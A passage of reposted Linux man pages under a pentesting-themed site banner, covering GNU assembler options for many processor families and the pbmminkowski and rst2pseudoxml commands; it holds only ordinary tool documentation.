Do not replace any branches or calls.

-EB
Generate big-endian output.

-EL
Generate little-endian output. This is the default.

-march=architecture
This option specifies the target architecture. The assembler issues an error message if an attempt is made to assemble an instruction which will not execute on the target architecture. The following architecture names are recognized: r1, r2. The default is r1.

The following options are available when as is configured for a PRU processor.

-mlink-relax
Assume that LD would optimize LDI32 instructions by checking the upper 16 bits of the expression. If they are all zeros, then LD would shorten the LDI32 instruction to a single LDI. In such case as will output DIFF relocations for diff expressions.

-mno-link-relax
Assume that LD would not optimize LDI32 instructions. As a consequence, DIFF relocations will not be emitted.

-mno-warn-regname-label
Do not warn if a label name matches a register name. Usually assembler programmers will want this warning to be emitted. C compilers may want to turn this off.

The following options are available when as is configured for a MIPS processor.

-G num
This option sets the largest size of an object that can be referenced implicitly with the gp register. It is only accepted for targets that use ECOFF format, such as a DECstation running Ultrix. The default value is 8.

-EB
Generate “big endian” format output.

-EL
Generate “little endian” format output.

-mips1

-mips2

-mips3

-mips4

-mips5

-mips32

-mips32r2

-mips32r3

-mips32r5

-mips32r6

-mips64

-mips64r2

-mips64r3

-mips64r5

-mips64r6

Generate code for a particular MIPS Instruction Set Architecture level. -mips1 is an alias for -march=r3000, -mips2 is an alias for -march=r6000, -mips3 is an alias for -march=r4000 and -mips4 is an alias for -march=r8000. -mips5, -mips32, -mips32r2, -mips32r3, -mips32r5, -mips32r6, -mips64, -mips64r2, -mips64r3, -mips64r5, and -mips64r6 correspond to generic MIPS V, MIPS32, MIPS32 Release 2, MIPS32 Release 3, MIPS32 Release 5, MIPS32 Release 6, MIPS64, MIPS64 Release 2, MIPS64 Release 3, MIPS64 Release 5, and MIPS64 Release 6 ISA processors, respectively.

-march=cpu
Generate code for a particular MIPS CPU.

-mtune=cpu
Schedule and tune for a particular MIPS CPU.

-mfix7000

-mno-fix7000

Cause nops to be inserted if the read of the destination register of an mfhi or mflo instruction occurs in the following two instructions.

-mfix-rm7000

-mno-fix-rm7000

Cause nops to be inserted if a dmult or dmultu instruction is followed by a load instruction.

-mfix-r5900

-mno-fix-r5900

Do not attempt to schedule the preceding instruction into the delay slot of a branch instruction placed at the end of a short loop of six instructions or fewer and always schedule a nop instruction there instead. The short loop bug under certain conditions causes loops to execute only once or twice, due to a hardware bug in the R5900 chip.

-mdebug

-no-mdebug

Cause stabs-style debugging output to go into an ECOFF-style .mdebug section instead of the standard ELF .stabs sections.

-mpdr

-mno-pdr

Control generation of .pdr sections.

-mgp32

-mfp32

The register sizes are normally inferred from the ISA and ABI, but these flags force a certain group of registers to be treated as 32 bits wide at all times. -mgp32 controls the size of general-purpose registers and -mfp32 controls the size of floating-point registers.

-mgp64

-mfp64

The register sizes are normally inferred from the ISA and ABI, but these flags force a certain group of registers to be treated as 64 bits wide at all times. -mgp64 controls the size of general-purpose registers and -mfp64 controls the size of floating-point registers.

-mfpxx
The register sizes are normally inferred from the ISA and ABI, but using this flag in combination with -mabi=32 enables an ABI variant which will operate correctly with floating-point registers which are 32 or 64 bits wide.

-modd-spreg

-mno-odd-spreg

Enable use of floating-point operations on odd-numbered single-precision registers when supported by the ISA. -mfpxx implies -mno-odd-spreg, otherwise the default is -modd-spreg.

-mips16

-no-mips16

Generate code for the MIPS 16 processor. This is equivalent to putting .module mips16 at the start of the assembly file. -no-mips16 turns off this option.

-mmips16e2

-mno-mips16e2

Enable the use of MIPS16e2 instructions in MIPS16 mode. This is equivalent to putting .module mips16e2 at the start of the assembly file. -mno-mips16e2 turns off this option.

-mmicromips

-mno-micromips

Generate code for the microMIPS processor. This is equivalent to putting .module micromips at the start of the assembly file. -mno-micromips turns off this option. This is equivalent to putting .module nomicromips at the start of the assembly file.

-msmartmips

-mno-smartmips

Enables the SmartMIPS extension to the MIPS32 instruction set. This is equivalent to putting .module smartmips at the start of the assembly file. -mno-smartmips turns off this option.

-mips3d

-no-mips3d

Generate code for the MIPS-3D Application Specific Extension. This tells the assembler to accept MIPS-3D instructions. -no-mips3d turns off this option.

-mdmx

-no-mdmx

Generate code for the MDMX Application Specific Extension. This tells the assembler to accept MDMX instructions. -no-mdmx turns off this option.

-mdsp

-mno-dsp

Generate code for the DSP Release 1 Application Specific Extension. This tells the assembler to accept DSP Release 1 instructions. -mno-dsp turns off this option.

-mdspr2

-mno-dspr2

Generate code for the DSP Release 2 Application Specific Extension. This option implies -mdsp. This tells the assembler to accept DSP Release 2 instructions. -mno-dspr2 turns off this option.

-mdspr3

-mno-dspr3

Generate code for the DSP Release 3 Application Specific Extension. This option implies -mdsp and -mdspr2. This tells the assembler to accept DSP Release 3 instructions. -mno-dspr3 turns off this option.

-mmsa

-mno-msa

Generate code for the MIPS SIMD Architecture Extension. This tells the assembler to accept MSA instructions. -mno-msa turns off this option.

-mxpa

-mno-xpa

Generate code for the MIPS eXtended Physical Address (XPA) Extension. This tells the assembler to accept XPA instructions. -mno-xpa turns off this option.

-mmt

-mno-mt

Generate code for the MT Application Specific Extension. This tells the assembler to accept MT instructions. -mno-mt turns off this option.

-mmcu

-mno-mcu

Generate code for the MCU Application Specific Extension. This tells the assembler to accept MCU instructions. -mno-mcu turns off this option.

-mcrc

-mno-crc

Generate code for the MIPS cyclic redundancy check (CRC) Application Specific Extension. This tells the assembler to accept CRC instructions. -mno-crc turns off this option.

-mginv

-mno-ginv

Generate code for the Global INValidate (GINV) Application Specific Extension. This tells the assembler to accept GINV instructions. -mno-ginv turns off this option.

-mloongson-mmi

-mno-loongson-mmi

Generate code for the Loongson MultiMedia extensions Instructions (MMI) Application Specific Extension. This tells the assembler to accept MMI instructions. -mno-loongson-mmi turns off this option.

-mloongson-cam

-mno-loongson-cam

Generate code for the Loongson Content Address Memory (CAM) instructions. This tells the assembler to accept Loongson CAM instructions. -mno-loongson-cam turns off this option.

-mloongson-ext

-mno-loongson-ext

Generate code for the Loongson EXTensions (EXT) instructions. This tells the assembler to accept Loongson EXT instructions. -mno-loongson-ext turns off this option.

-mloongson-ext2

-mno-loongson-ext2

Generate code for the Loongson EXTensions R2 (EXT2) instructions. This option implies -mloongson-ext. This tells the assembler to accept Loongson EXT2 instructions. -mno-loongson-ext2 turns off this option.

-minsn32

-mno-insn32

Only use 32-bit instruction encodings when generating code for the microMIPS processor. This option inhibits the use of any 16-bit instructions. This is equivalent to putting .set insn32 at the start of the assembly file. -mno-insn32 turns off this option. This is equivalent to putting .set noinsn32 at the start of the assembly file. By default -mno-insn32 is selected, allowing all instructions to be used.

–construct-floats

–no-construct-floats

The –no-construct-floats option disables the construction of double width floating point constants by loading the two halves of the value into the two single width floating point registers that make up the double width register. By default –construct-floats is selected, allowing construction of these floating point constants.

–relax-branch

–no-relax-branch

The –relax-branch option enables the relaxation of out-of-range branches. By default –no-relax-branch is selected, causing any out-of-range branches to produce an error.

-mignore-branch-isa

-mno-ignore-branch-isa

Ignore branch checks for invalid transitions between ISA modes. The semantics of branches does not provide for an ISA mode switch, so in most cases the ISA mode a branch has been encoded for has to be the same as the ISA mode of the branch’s target label. Therefore GAS has checks implemented that verify in branch assembly that the two ISA modes match. -mignore-branch-isa disables these checks. By default -mno-ignore-branch-isa is selected, causing any invalid branch requiring a transition between ISA modes to produce an error.

-mnan=encoding
Select between the IEEE 754-2008 (-mnan=2008) or the legacy (-mnan=legacy) NaN encoding format. The latter is the default.

–emulation=name
This option was formerly used to switch between ELF and ECOFF output on targets like IRIX 5 that supported both. MIPS ECOFF support was removed in GAS 2.24, so the option now serves little purpose. It is retained for backwards compatibility. The available configuration names are: mipself, mipslelf and mipsbelf. Choosing mipself now has no effect, since the output is always ELF. mipslelf and mipsbelf select little- and big-endian output respectively, but -EL and -EB are now the preferred options instead.

-nocpp
as ignores this option. It is accepted for compatibility with the native tools.

–trap

–no-trap

–break

–no-break

Control how to deal with multiplication overflow and division by zero. –trap or –no-break (which are synonyms) take a trap exception (and only work for Instruction Set Architecture level 2 and higher); –break or –no-trap (also synonyms, and the default) take a break exception.

-n
When this option is used, as will issue a warning every time it generates a nop instruction from a macro.

The following options are available when as is configured for a LoongArch processor.

-fpic

-fPIC

Generate position-independent code

-fno-pic
Don’t generate position-independent code (default)

The following options are available when as is configured for a Meta processor.

“-mcpu=metac11”
Generate code for Meta 1.1.

“-mcpu=metac12”
Generate code for Meta 1.2.

“-mcpu=metac21”
Generate code for Meta 2.1.

“-mfpu=metac21”
Allow code to use FPU hardware of Meta 2.1.

See the info pages for documentation of the MMIX-specific options.

The following options are available when as is configured for a NDS32 processor.

“-O1”
Optimize for performance.

“-Os”
Optimize for space.

“-EL”
Produce little endian data output.

“-EB”
Produce little endian data output.

“-mpic”
Generate PIC.

“-mno-fp-as-gp-relax”
Suppress fp-as-gp relaxation for this file.

“-mb2bb-relax”
Back-to-back branch optimization.

“-mno-all-relax”
Suppress all relaxation for this file.

“-march=<arch name>”
Assemble for architecture <arch name> which could be v3, v3j, v3m, v3f, v3s, v2, v2j, v2f, v2s.

“-mbaseline=<baseline>”
Assemble for baseline <baseline> which could be v2, v3, v3m.

“-mfpu-freg=FREG”
Specify a FPU configuration.

“0 8 SP / 4 DP registers”

“1 16 SP / 8 DP registers”

“2 32 SP / 16 DP registers”

“3 32 SP / 32 DP registers”

“-mabi=abi”

Specify a abi version <abi> could be v1, v2, v2fp, v2fpp.

“-m[no-]mac”
Enable/Disable Multiply instructions support.

“-m[no-]div”
Enable/Disable Divide instructions support.

“-m[no-]16bit-ext”
Enable/Disable 16-bit extension

“-m[no-]dx-regs”
Enable/Disable d0/d1 registers

“-m[no-]perf-ext”
Enable/Disable Performance extension

“-m[no-]perf2-ext”
Enable/Disable Performance extension 2

“-m[no-]string-ext”
Enable/Disable String extension

“-m[no-]reduced-regs”
Enable/Disable Reduced Register configuration (GPR16) option

“-m[no-]audio-isa-ext”
Enable/Disable AUDIO ISA extension

“-m[no-]fpu-sp-ext”
Enable/Disable FPU SP extension

“-m[no-]fpu-dp-ext”
Enable/Disable FPU DP extension

“-m[no-]fpu-fma”
Enable/Disable FPU fused-multiply-add instructions

“-mall-ext”
Turn on all extensions and instructions support

The following options are available when as is configured for a PowerPC processor.

-a32
Generate ELF32 or XCOFF32.

-a64
Generate ELF64 or XCOFF64.

-K PIC
Set EF_PPC_RELOCATABLE_LIB in ELF flags.

-mpwrx | -mpwr2
Generate code for POWER/2 (RIOS2).

-mpwr
Generate code for POWER (RIOS1)

-m601
Generate code for PowerPC 601.

-mppc, -mppc32, -m603, -m604
Generate code for PowerPC 603/604.

-m403, -m405
Generate code for PowerPC 403/405.

-m440
Generate code for PowerPC 440. BookE and some 405 instructions.

-m464
Generate code for PowerPC 464.

-m476
Generate code for PowerPC 476.

-m7400, -m7410, -m7450, -m7455
Generate code for PowerPC 7400/7410/7450/7455.

-m750cl, -mgekko, -mbroadway
Generate code for PowerPC 750CL/Gekko/Broadway.

-m821, -m850, -m860
Generate code for PowerPC 821/850/860.

-mppc64, -m620
Generate code for PowerPC 620/625/630.

-me200z2, -me200z4
Generate code for e200 variants, e200z2 with LSP, e200z4 with SPE.

-me300
Generate code for PowerPC e300 family.

-me500, -me500x2
Generate code for Motorola e500 core complex.

-me500mc
Generate code for Freescale e500mc core complex.

-me500mc64
Generate code for Freescale e500mc64 core complex.

-me5500
Generate code for Freescale e5500 core complex.

-me6500
Generate code for Freescale e6500 core complex.

-mlsp
Enable LSP instructions. (Disables SPE and SPE2.)

-mspe
Generate code for Motorola SPE instructions. (Disables LSP.)

-mspe2
Generate code for Freescale SPE2 instructions. (Disables LSP.)

-mtitan
Generate code for AppliedMicro Titan core complex.

-mppc64bridge
Generate code for PowerPC 64, including bridge insns.

-mbooke
Generate code for 32-bit BookE.

-ma2
Generate code for A2 architecture.

-maltivec
Generate code for processors with AltiVec instructions.

-mvle
Generate code for Freescale PowerPC VLE instructions.

-mvsx
Generate code for processors with Vector-Scalar (VSX) instructions.

-mhtm
Generate code for processors with Hardware Transactional Memory instructions.

-mpower4, -mpwr4
Generate code for Power4 architecture.

-mpower5, -mpwr5, -mpwr5x
Generate code for Power5 architecture.

-mpower6, -mpwr6
Generate code for Power6 architecture.

-mpower7, -mpwr7
Generate code for Power7 architecture.

-mpower8, -mpwr8
Generate code for Power8 architecture.

-mpower9, -mpwr9
Generate code for Power9 architecture.

-mpower10, -mpwr10
Generate code for Power10 architecture.

-mpower11, -mpwr11
Generate code for Power11 architecture.

-mfuture
Generate code for ‘future’ architecture.

-mcell

-mcell

Generate code for Cell Broadband Engine architecture.

-mcom
Generate code Power/PowerPC common instructions.

-many
Generate code for any architecture (PWR/PWRX/PPC).

-mregnames
Allow symbolic names for registers.

-mno-regnames
Do not allow symbolic names for registers.

-mrelocatable
Support for GCC’s -mrelocatable option.

-mrelocatable-lib
Support for GCC’s -mrelocatable-lib option.

-memb
Set PPC_EMB bit in ELF flags.

-mlittle, -mlittle-endian, -le
Generate code for a little endian machine.

-mbig, -mbig-endian, -be
Generate code for a big endian machine.

-msolaris
Generate code for Solaris.

-mno-solaris
Do not generate code for Solaris.

-nops=count
If an alignment directive inserts more than count nops, put a branch at the beginning to skip execution of the nops.

The following options are available when as is configured for a RISC-V processor.

-fpic

-fPIC

Generate position-independent code

-fno-pic
Don’t generate position-independent code (default)

-march=ISA
Select the base isa, as specified by ISA. For example -march=rv32ima. If this option and the architecture attributes aren’t set, then assembler will check the default configure setting –with-arch=ISA.

-misa-spec=ISAspec
Select the default isa spec version. If the version of ISA isn’t set by -march, then assembler helps to set the version according to the default chosen spec. If this option isn’t set, then assembler will check the default configure setting –with-isa-spec=ISAspec.

-mpriv-spec=PRIVspec
Select the privileged spec version. We can decide whether the CSR is valid or not according to the chosen spec. If this option and the privilege attributes aren’t set, then assembler will check the default configure setting –with-priv-spec=PRIVspec.

-mabi=ABI
Selects the ABI, which is either “ilp32” or “lp64”, optionally followed by “f”, “d”, or “q” to indicate single-precision, double-precision, or quad-precision floating-point calling convention, or none or “e” to indicate the soft-float calling convention (“e” indicates a soft-float RVE ABI).

-mrelax
Take advantage of linker relaxations to reduce the number of instructions required to materialize symbol addresses. (default)

-mno-relax
Don’t do linker relaxations.

-march-attr
Generate the default contents for the riscv elf attribute section if the .attribute directives are not set. This section is used to record the information that a linker or runtime loader needs to check compatibility. This information includes ISA string, stack alignment requirement, unaligned memory accesses, and the major, minor and revision version of privileged specification.

-mno-arch-attr
Don’t generate the default riscv elf attribute section if the .attribute directives are not set.

-mcsr-check
Enable the CSR checking for the ISA-dependent CRS and the read-only CSR. The ISA-dependent CSR are only valid when the specific ISA is set. The read-only CSR can not be written by the CSR instructions.

-mno-csr-check
Don’t do CSR checking.

-mlittle-endian
Generate code for a little endian machine.

-mbig-endian
Generate code for a big endian machine.

See the info pages for documentation of the RX-specific options.

The following options are available when as is configured for the s390 processor family.

-m31

-m64

Select the word size, either 31/32 bits or 64 bits.

-mesa

-mzarch

Select the architecture mode, either the Enterprise System Architecture (esa) or the z/Architecture mode (zarch).

-march=processor
Specify which s390 processor variant is the target, g5 (or arch3), g6, z900 (or arch5), z990 (or arch6), z9-109, z9-ec (or arch7), z10 (or arch8), z196 (or arch9), zEC12 (or arch10), z13 (or arch11), z14 (or arch12), z15 (or arch13), or z16 (or arch14).

-mregnames

-mno-regnames

Allow or disallow symbolic names for registers.

-mwarn-areg-zero
Warn whenever the operand for a base or index register has been specified but evaluates to zero.

-mwarn-regtype-mismatch=strict

-mwarn-regtype-mismatch=relaxed

-mwarn-regtype-mismatch=no

-mno-warn-regtype-mismatch

Controls whether the assembler performs register name type checks and generates a warning message in case of a mismatch with the operand register type. The default (which can be restored by using the relaxed argument) is to perform relaxed register name type checks, which allow floating point register (FPR) names %f0 to %f15 to be specified as argument to vector register (VR) operands and vector register (VR) names %v0 to %v15 to be specified as argument to floating point register (FPR) operands. This is acceptable as the FPR are embedded into the lower half of the VR. Using the strict argument strict register name type checks are performed. The no argument, which is equivalent to -mno-warn-regtype-mismatch, disables any register name type checks.

The following options are available when as is configured for a TMS320C6000 processor.

-march=arch
Enable (only) instructions from architecture arch. By default, all instructions are permitted. The following values of arch are accepted: c62x, c64x, c64x+, c67x, c67x+, c674x.

-mdsbt

-mno-dsbt

The -mdsbt option causes the assembler to generate the Tag_ABI_DSBT attribute with a value of 1, indicating that the code is using DSBT addressing. The -mno-dsbt option, the default, causes the tag to have a value of 0, indicating that the code does not use DSBT addressing. The linker will emit a warning if objects of different type (DSBT and non-DSBT) are linked together.

-mpid=no

-mpid=near

-mpid=far

The -mpid= option causes the assembler to generate the Tag_ABI_PID attribute with a value indicating the form of data addressing used by the code. -mpid=no, the default, indicates position-dependent data addressing, -mpid=near indicates position-independent addressing with GOT accesses using near DP addressing, and -mpid=far indicates position-independent addressing with GOT accesses using far DP addressing. The linker will emit a warning if objects built with different settings of this option are linked together.

-mpic

-mno-pic

The -mpic option causes the assembler to generate the Tag_ABI_PIC attribute with a value of 1, indicating that the code is using position-independent code addressing, The -mno-pic option, the default, causes the tag to have a value of 0, indicating position-dependent code addressing. The linker will emit a warning if objects of different type (position-dependent and position-independent) are linked together.

-mbig-endian

-mlittle-endian

Generate code for the specified endianness. The default is little-endian.

The following options are available when as is configured for a TILE-Gx processor.

-m32 | -m64
Select the word size, either 32 bits or 64 bits.

-EB | -EL
Select the endianness, either big-endian (-EB) or little-endian (-EL).

The following option is available when as is configured for a Visium processor.

-mtune=arch
This option specifies the target architecture. If an attempt is made to assemble an instruction that will not execute on the target architecture, the assembler will issue an error message. The following names are recognized: mcm24 mcm gr5 gr6

The following options are available when as is configured for an Xtensa processor.

–text-section-literals | –no-text-section-literals
Control the treatment of literal pools. The default is –no-text-section-literals, which places literals in separate sections in the output file. This allows the literal pool to be placed in a data RAM/ROM. With –text-section-literals, the literals are interspersed in the text section in order to keep them as close as possible to their references. This may be necessary for large assembly files, where the literals would otherwise be out of range of the L32R instructions in the text section. Literals are grouped into pools following .literal_position directives or preceding ENTRY instructions. These options only affect literals referenced via PC-relative L32R instructions; literals for absolute mode L32R instructions are handled separately.

–auto-litpools | –no-auto-litpools
Control the treatment of literal pools. The default is –no-auto-litpools, which in the absence of –text-section-literals places literals in separate sections in the output file. This allows the literal pool to be placed in a data RAM/ROM. With –auto-litpools, the literals are interspersed in the text section in order to keep them as close as possible to their references, explicit .literal_position directives are not required. This may be necessary for very large functions, where single literal pool at the beginning of the function may not be reachable by L32R instructions at the end. These options only affect literals referenced via PC-relative L32R instructions; literals for absolute mode L32R instructions are handled separately. When used together with –text-section-literals, –auto-litpools takes precedence.

–absolute-literals | –no-absolute-literals
Indicate to the assembler whether L32R instructions use absolute or PC-relative addressing. If the processor includes the absolute addressing option, the default is to use absolute L32R relocations. Otherwise, only the PC-relative L32R relocations can be used.

–target-align | –no-target-align
Enable or disable automatic alignment to reduce branch penalties at some expense in code size. This optimization is enabled by default. Note that the assembler will always align instructions like LOOP that have fixed alignment requirements.

–longcalls | –no-longcalls
Enable or disable transformation of call instructions to allow calls across a greater range of addresses. This option should be used when call targets can potentially be out of range. It may degrade both code size and performance, but the linker can generally optimize away the unnecessary overhead when a call ends up within range. The default is –no-longcalls.

–transform | –no-transform
Enable or disable all assembler transformations of Xtensa instructions, including both relaxation and optimization. The default is –transform; –no-transform should only be used in the rare cases when the instructions must be exactly as specified in the assembly source. Using –no-transform causes out of range instruction operands to be errors.

–rename-section oldname=newname
Rename the oldname section to newname. This option can be used multiple times to rename multiple sections.

–trampolines | –no-trampolines
Enable or disable transformation of jump instructions to allow jumps across a greater range of addresses. This option should be used when jump targets can potentially be out of range. In the absence of such jumps this option does not affect code size or performance. The default is –trampolines.

–abi-windowed | –abi-call0
Choose ABI tag written to the .xtensa.info section. ABI tag indicates ABI of the assembly code. A warning is issued by the linker on an attempt to link object files with inconsistent ABI tags. Default ABI is chosen by the Xtensa core configuration.

The following options are available when as is configured for an Z80 processor.

@chapter Z80 Dependent Features

Command-line Options

-march=CPU[-EXT…][+EXT…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: z80, z180, ez80, gbz80, z80n, r800. In addition to the basic instruction set, the assembler can be told to accept some extension mnemonics. For example, -march=z180+sli+infc extends z180 with SLI instructions and IN F,(C). The following extensions are currently supported: full (all known instructions), adl (ADL CPU mode by default, eZ80 only), sli (instruction known as SLI, SLL or SL1), xyhl (instructions with halves of index registers: IXL, IXH, IYL, IYH), xdcb (instructions like RotOp (II+d),R and BitOp n,(II+d),R), infc (instruction IN F,(C) or IN (C)), outc0 (instruction OUT (C),0). Note that rather than extending a basic instruction set, the extension mnemonics starting with - revoke the respective functionality: -march=z80-full+xyhl first removes all default extensions and adds support for index registers halves only. If this option is not specified then -march=z80+xyhl+infc is assumed.

-local-prefix=prefix
Mark all labels with specified prefix as local. But such label can be marked global explicitly in the code. This option do not change default local label prefix .L, it is just adds new one.

-colonless
Accept colonless labels. All symbols at line begin are treated as labels.

-sdcc
Accept assembler code produced by SDCC.

-fp-s=FORMAT
Single precision floating point numbers format. Default: ieee754 (32 bit).

-fp-d=FORMAT
Double precision floating point numbers format. Default: ieee754 (64 bit).

SEE ALSO

gcc (1), ld (1), and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

560 - Linux cli command pbmminkowski

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmminkowski and provides detailed information about the command pbmminkowski, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmminkowski.

.

NAME 🖥️ pbmminkowski 🖥️

compute Minkowski integral

SYNOPSIS

pbmminkowski pbmfile

DESCRIPTION

This program is part of Netpbm(1) .

pbmminkowski computes the 3 Minkowski integrals of a PBM image.

It is similar to pgmminkowski(1) .

SEE ALSO

pgmminkowski(1) pbm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmminkowski.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

561 - Linux cli command rst2pseudoxml

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2pseudoxml and provides detailed information about the command rst2pseudoxml, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2pseudoxml.

NAME 🖥️ rst2pseudoxml 🖥️

convert reST documents to pseudo-XML

SYNOPSIS

rst2pseudoxml [options] [<source> [<destination>]]

DESCRIPTION

Generate pseudo-XML (test) documents from standalone reStructuredText sources < <https://docutils.sourceforge.io/docs/ref/doctree.html> >. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

Standalone Reader Options

